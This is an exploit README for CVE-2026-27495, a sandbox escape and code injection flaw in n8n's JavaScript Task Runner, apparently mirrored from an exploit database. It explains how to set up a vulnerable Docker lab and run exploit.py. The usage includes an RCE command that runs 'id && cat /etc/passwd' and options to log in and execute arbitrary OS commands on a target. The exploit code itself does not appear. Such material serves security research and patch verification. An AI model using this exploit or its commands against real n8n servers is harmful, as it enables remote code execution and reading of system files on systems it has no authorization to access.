Exploit for Code Injection in N8N CVE-2026-27495

## https://sploitus.com/exploit?id=5FBB2887-2FBD-5D7F-B53F-774CE2B63DE9
# CVE-2026-27495 — n8n JS Task Runner Sandbox Escape

Sandbox escape on n8n JavaScript Task Runner via host-realm object leak.

| | |
|---|---|
| **CVE** | CVE-2026-27495 |
| **CVSS** | 9.4 (Critical) |
| **CWE** | CWE-94 — Code Injection |
| **Affected** | n8n < 1.123.22 / 2.0.0–2.9.2 / 2.10.0 |
| **Fixed** | 1.123.22 / 2.9.3 / 2.10.1 |
| **Attack Surface** | Code node (authenticated, Task Runners enabled) |

## Quick Start

### 1. Deploy Vulnerable Lab

```
docker compose up -d
```

Wait ~15s for n8n to start, then open `http://localhost:5678` and create an owner account (email: `admin@test.com`, password: `TestPassword123!`).

### 2. Install Dependencies

```
pip install requests
```

### 3. Exploit

**Probe sandbox escape :**

```
python3 exploit.py --probe
```

**RCE** — uncomment `NODE_FUNCTION_ALLOW_BUILTIN=*` in `docker-compose.yml`, then restart:

```
docker compose down && docker compose up -d
python3 exploit.py --cmd "id && cat /etc/passwd"
```

**First-time setup (creates owner account automatically):**

```
python3 exploit.py --setup --probe
```

## Usage

```
Options:
  --url URL            n8n base URL (default: http://localhost:5678)
  --email EMAIL        Login email (default: admin@test.com)
  --password PASSWORD  Login password
  --cmd CMD            OS command to execute (RCE)
  --setup              Create owner account (fresh instance)
  --probe              Probe sandbox escape only (no RCE, works with any config)
  --proxy PROXY        HTTP proxy (e.g. http://127.0.0.1:8080)
```


## Disclaimer

For authorized security research and educational purposes only.